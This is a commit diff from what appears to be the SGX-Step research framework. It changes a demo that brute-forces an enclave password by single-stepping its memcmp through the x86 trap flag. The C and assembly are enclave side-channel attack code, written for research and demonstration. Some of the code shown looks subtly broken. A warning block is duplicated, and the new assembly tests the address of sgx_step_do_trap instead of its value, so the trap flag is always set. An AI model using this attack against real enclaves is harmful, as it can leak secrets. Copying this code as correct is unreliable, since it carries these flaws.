Skip to content

Commit aea8caa

Browse files
committed
app/memcmp: improve rflags.tf simulation stepping
1 parent 27ff720 commit aea8caa

File tree

4 files changed

+29
-4
lines changed

4 files changed

+29
-4
lines changed

app/memcmp/main.c

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
#include <sys/mman.h>
1616

1717
#define MAX_LEN 15
18-
#define DO_TIMER_STEP 1
18+
#define DO_TIMER_STEP 0
1919
#define DEBUG 0
2020
#define DBG_ENCL 1
2121
#if DO_TIMER_STEP
@@ -33,6 +33,15 @@
3333
#warning "Using simulated stepping through HW trap flag; will not work for production enclaves!"
3434
#endif
3535

36+
/*
37+
* NOTE: set DO_TIMER_STEP=0 to _simulate_ a single-stepping attack through the
38+
* x86 hardware trap flag (RFLAGS.TF). Use for demonstration/debugging purposes
39+
* only, as this does _not_ work for SGX debug enclaves(!)
40+
*/
41+
#if !DO_TIMER_STEP
42+
#warning "Using simulated stepping through HW trap flag; will not work for production enclaves!"
43+
#endif
44+
3645
sgx_enclave_id_t eid = 0;
3746
int irq_cnt = 0, do_irq = 0, fault_cnt = 0, trigger_cnt = 0, step_cnt = 0;
3847
uint64_t *pte_encl = NULL, *pte_trigger = NULL, *pmd_encl = NULL;
@@ -74,7 +83,7 @@ void aep_cb_func(void)
7483
* referencing the enclave code page about to be executed, so as to be able
7584
* to filter out "zero-step" results that won't set the accessed bit.
7685
*/
77-
if (ACCESSED(*pte_encl)) step_cnt++;
86+
if (do_irq && ACCESSED(*pte_encl)) step_cnt++;
7887
*pte_encl = MARK_NOT_ACCESSED( *pte_encl );
7988
*pte_trigger = MARK_NOT_ACCESSED(*pte_trigger);
8089

@@ -92,8 +101,6 @@ void aep_cb_func(void)
92101
*pmd_encl = MARK_NOT_ACCESSED( *pmd_encl );
93102
#if DO_TIMER_STEP
94103
apic_timer_irq( SGX_STEP_TIMER_INTERVAL );
95-
#else
96-
ENABLE_TF;
97104
#endif
98105
}
99106
}
@@ -117,6 +124,7 @@ void fault_handler(int signo, siginfo_t * si, void *ctx)
117124
#endif
118125
ASSERT(!mprotect(trigger_adrs, 4096, PROT_READ | PROT_WRITE));
119126
do_irq = 1;
127+
sgx_step_do_trap = 1;
120128
}
121129
else
122130
{
@@ -130,6 +138,10 @@ void fault_handler(int signo, siginfo_t * si, void *ctx)
130138
#if DEBUG
131139
//info("Caught single-step trap (RIP=%p)\n", si->si_addr);
132140
#endif
141+
142+
/* ensure RFLAGS.TF is clear to disable debug single-stepping */
143+
ucontext_t *uc = (ucontext_t *) ctx;
144+
uc->uc_mcontext.gregs[REG_EFL] &= ~0x100;
133145
break;
134146
#endif
135147

@@ -234,6 +246,7 @@ int main( int argc, char **argv )
234246
for (int j = 0; j < pwd_len; j++) pwd[j] = '*';
235247
pwd[pwd_len] = '\0';
236248
do_irq = 0; trigger_cnt = 0, step_cnt = 0, fault_cnt = 0;
249+
sgx_step_do_trap = 0;
237250
ASSERT(!mprotect(trigger_adrs, 4096, PROT_NONE ));
238251
SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) );
239252

@@ -261,6 +274,7 @@ int main( int argc, char **argv )
261274
{
262275
pwd[i] = j;
263276
do_irq = 0; trigger_cnt = 0, step_cnt = 0, fault_cnt = 0;
277+
sgx_step_do_trap = 0;
264278
ASSERT(!mprotect(trigger_adrs, 4096, PROT_NONE ));
265279
SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) );
266280

libsgxstep/aep_trampoline.S

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,15 @@ sgx_step_aep_trampoline:
7979

8080
mov $3, %xax /* ERESUME leaf */
8181

82+
83+
/* optionally set RFLAGS.TF to enable simulated single-stepping for DEBUG enclaves */
84+
lea sgx_step_do_trap(%rip), %rdx
85+
test %rdx, %rdx
86+
je sgx_step_aep_eresume
87+
pushf
88+
orl $0x100, (%rsp)
89+
popf
90+
8291
.global sgx_step_aep_eresume
8392
sgx_step_aep_eresume:
8493
.byte 0x0f, 0x01, 0xd7 /* ENCLU */

libsgxstep/enclave.c

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@ extern void sgx_step_aep_trampoline(void);
3838
aep_cb_t sgx_step_aep_cb = NULL;
3939
uint64_t nemesis_tsc_eresume = 0x0;
4040
int sgx_step_eresume_cnt = 0;
41+
int sgx_step_do_trap = 0;
4142

4243
extern int fd_step;
4344
struct sgx_step_enclave_info victim = {0};

libsgxstep/enclave.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@ struct sgx_step_enclave_info
3636

3737
extern uint64_t nemesis_tsc_eresume, nemesis_tsc_aex;
3838
extern int sgx_step_eresume_cnt;
39+
extern int sgx_step_do_trap;
3940

4041
typedef void (*aep_cb_t)(void);
4142
void register_aep_cb(aep_cb_t cb);

0 commit comments

Comments
 (0)